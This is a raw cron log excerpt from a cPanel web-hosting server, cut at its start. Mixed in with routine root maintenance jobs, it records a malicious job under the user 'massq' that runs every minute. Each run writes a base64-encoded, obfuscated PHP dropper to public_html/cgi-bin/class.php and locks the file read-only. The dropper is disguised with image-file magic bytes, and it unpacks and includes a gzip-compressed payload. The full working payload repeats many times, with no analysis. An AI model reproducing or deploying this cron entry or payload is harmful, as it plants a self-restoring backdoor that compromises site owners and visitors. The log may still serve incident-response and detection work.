NTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:23:01 server CROND[26454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:23:01 server CROND[26455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:23:01 server CROND[26456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:24:01 server CROND[26953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:24:01 server CROND[26954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:24:01 server CROND[26955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:25:01 server CROND[27362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:25:01 server CROND[27363]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 14:25:01 server CROND[27367]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 14:25:01 server CROND[27366]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:25:01 server CROND[27369]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:25:01 server CROND[27364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:25:01 server CROND[27365]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 14:25:01 server CROND[27371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:26:01 server CROND[28206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:26:01 server CROND[28207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:26:01 server CROND[28208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:27:01 server CROND[28594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:27:01 server CROND[28595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:27:01 server CROND[28597]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 14:27:01 server CROND[28596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:28:01 server CROND[28990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:28:01 server CROND[28991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:28:01 server CROND[28992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:29:01 server CROND[30027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:29:01 server CROND[30028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:29:01 server CROND[30029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:30:01 server CROND[30417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:30:01 server CROND[30418]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:30:01 server CROND[30420]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 14:30:01 server CROND[30421]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 14:30:01 server CROND[30422]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:30:01 server CROND[30428]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 14:30:01 server CROND[30426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:30:01 server CROND[30423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:31:01 server CROND[31252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:31:01 server CROND[31253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:31:01 server CROND[31254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:32:01 server CROND[31636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:32:01 server CROND[31637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:32:01 server CROND[31638]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:33:01 server CROND[32016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:33:01 server CROND[32017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:33:01 server CROND[32018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:34:01 server CROND[32392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:34:01 server CROND[32393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:34:01 server CROND[32394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 14:35:01 server CROND[438]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 14:35:01 server CROND[441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
